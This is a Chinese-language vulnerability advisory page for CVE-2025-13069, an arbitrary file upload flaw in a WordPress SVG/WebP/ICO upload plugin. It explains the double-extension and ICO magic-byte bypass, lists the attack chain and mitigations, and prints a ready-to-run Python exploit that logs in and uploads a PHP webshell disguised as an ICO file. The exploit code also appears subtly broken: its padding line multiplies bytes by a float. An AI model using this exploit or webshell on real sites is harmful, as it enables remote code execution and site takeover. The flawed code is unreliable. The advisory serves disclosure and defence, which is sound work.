IPBUF安全漏洞报告
English
CVE-2025-13069 CVSS 8.8 高危

CVE-2025-13069 WordPress SVG/WebP/ICO上传插件任意文件上传漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13069
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Enable SVG, WebP, and ICO Upload WordPress插件

相关标签

任意文件上传WordPress插件SVG上传ICO文件验证绕过远程代码执行认证用户双扩展名绕过魔数检测绕过CVE-2025-13069WordPress安全

漏洞概述

CVE-2025-13069是WordPress插件"Enable SVG, WebP, and ICO Upload"中的一个高危安全漏洞。该插件主要用于允许用户在WordPress中上传SVG、WebP和ICO格式的图片文件。漏洞存在于所有版本直到1.1.3版本,由于插件对ICO文件类型的验证不足,允许攻击者通过双扩展名文件(如1.php.ico)配合适当的文件魔数(magic bytes)绕过安全检查,将恶意文件伪装成合法的ICO文件上传到服务器。这种设计缺陷使得具有作者级别及以上权限的认证用户可以上传任意文件类型,包括PHP脚本等可执行文件。一旦恶意文件成功上传,攻击者可能通过访问该文件在服务器上执行任意代码,实现远程代码执行(RCE),从而完全控制受影响的WordPress站点。该漏洞CVSS评分为8.8,属于高危漏洞,攻击复杂度低,无需用户交互即可利用,对系统的机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的根本原因在于插件对ICO文件格式的验证机制不完善。ICO文件格式具有特定的文件头结构,包含魔数字节(通常为0x00 0x00 0x01 0x00)。攻击者可以利用这一特性,创建一个包含PHP代码但具有正确ICO魔数的文件(如webshell.php.ico)。当插件检测文件类型时,它仅检查文件的魔数和扩展名,而没有充分验证文件的实际内容和结构。由于ICO格式允许在文件头后包含任意数据,攻击者可以在ICO文件头后面附加恶意PHP代码。插件的sanitization逻辑虽然会检查文件扩展名和魔数,但无法识别隐藏在ICO文件中的恶意代码。成功利用此漏洞后,攻击者可以上传包含webshell的.ico文件到WordPress的上传目录,然后通过直接访问该文件来执行任意PHP代码,从而获得服务器的控制权。整个利用过程不需要任何特殊的编程环境或复杂的攻击技术。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点的作者级别或更高权限的账户凭据
STEP 2
步骤2
攻击者创建包含PHP webshell的恶意ICO文件,使用正确的ICO魔数(0x00 0x00 0x01 0x00)绕过文件类型检测
STEP 3
步骤3
攻击者使用双扩展名(如webshell.php.ico)上传该文件到WordPress媒体库
STEP 4
步骤4
插件验证ICO魔数和扩展名后接受文件,将其存储在wp-content/uploads目录中
STEP 5
步骤5
攻击者通过HTTP请求直接访问上传的恶意文件,在URL中传递命令参数执行任意PHP代码
STEP 6
步骤6
成功实现远程代码执行(RCE),获得服务器完全控制权,可进一步进行横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-13069 PoC - WordPress Plugin File Upload Bypass # Target: Enable SVG, WebP, and ICO Upload plugin <= 1.1.3 import requests import sys def create_malicious_ico(): """Create a malicious ICO file with PHP webshell""" # ICO file header (magic bytes) ico_header = bytes([ 0x00, 0x00, # Reserved 0x01, 0x00, # Type: ICO 0x01, 0x00 # Number of images: 1 ]) # ICO directory entry ico_entry = bytes([ 0x10, # Width: 16 0x10, # Height: 16 0x00, # Color palette: 0 0x00, # Reserved 0x01, 0x00, # Color planes: 1 0x20, 0x00, # Bits per pixel: 32 0x28, 0x00, 0x00, 0x00, # Image size 0x16, 0x00, 0x00, 0x00 # Image offset ]) # BMP header for the embedded image bmp_header = bytes([ 0x28, 0x00, 0x00, 0x00, # Header size: 40 0x10, 0x00, 0x00, 0x00, # Width: 16 0x20, 0x00, 0x00, 0x00, # Height: 32 (doubled for mask) 0x01, 0x00, # Planes: 1 0x20, 0x00, # Bits: 32 0x00, 0x00, 0x00, 0x00, # Compression: none 0x00, 0x00, 0x00, 0x00, # Image size 0x00, 0x00, 0x00, 0x00, # X pixels per meter 0x00, 0x00, 0x00, 0x00, # Y pixels per meter 0x00, 0x00, 0x00, 0x00, # Colors used 0x00, 0x00, 0x00, 0x00 # Important colors ]) # PHP webshell payload php_payload = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' # Padding to make valid ICO padding = b'\x00' * (40 + 16*16*4 + 16*16/8) # Combine all parts ico_file = ico_header + ico_entry + bmp_header + padding + php_payload return ico_file def exploit(target_url, username, password): """Exploit the file upload vulnerability""" session = requests.Session() # Login to WordPress login_url = target_url.rstrip('/') + '/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } print(f'[*] Logging in to {login_url}') response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Upload malicious ICO file upload_url = target_url.rstrip('/') + '/wp-admin/media-new.php' malicious_file = create_malicious_ico() files = { 'async-upload': ('webshell.php.ico', malicious_file, 'image/x-icon') } print(f'[*] Uploading malicious ICO file...') response = session.post(upload_url, files=files) if response.status_code == 200: print('[+] File uploaded successfully!') # Extract uploaded file URL from response if 'media' in response.text: print('[!] Check WordPress media library for the uploaded file path') return True print('[-] Upload failed!') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Enable SVG, WebP, and ICO Upload插件 <= 1.1.3

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:1)立即禁用或删除Enable SVG, WebP, and ICO Upload插件;2)审查所有具有作者权限的用户账户,删除不必要的账户;3)对wp-content/uploads目录设置禁止脚本执行,在.htaccess文件中添加"FilesMatch \.php$"规则拒绝执行;4)使用Wordfence等安全插件启用双重认证和登录保护;5)限制文件上传功能仅对管理员可用;6)实施文件上传监控,记录所有上传行为以便审计;7)考虑使用云WAF服务提供额外的安全层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表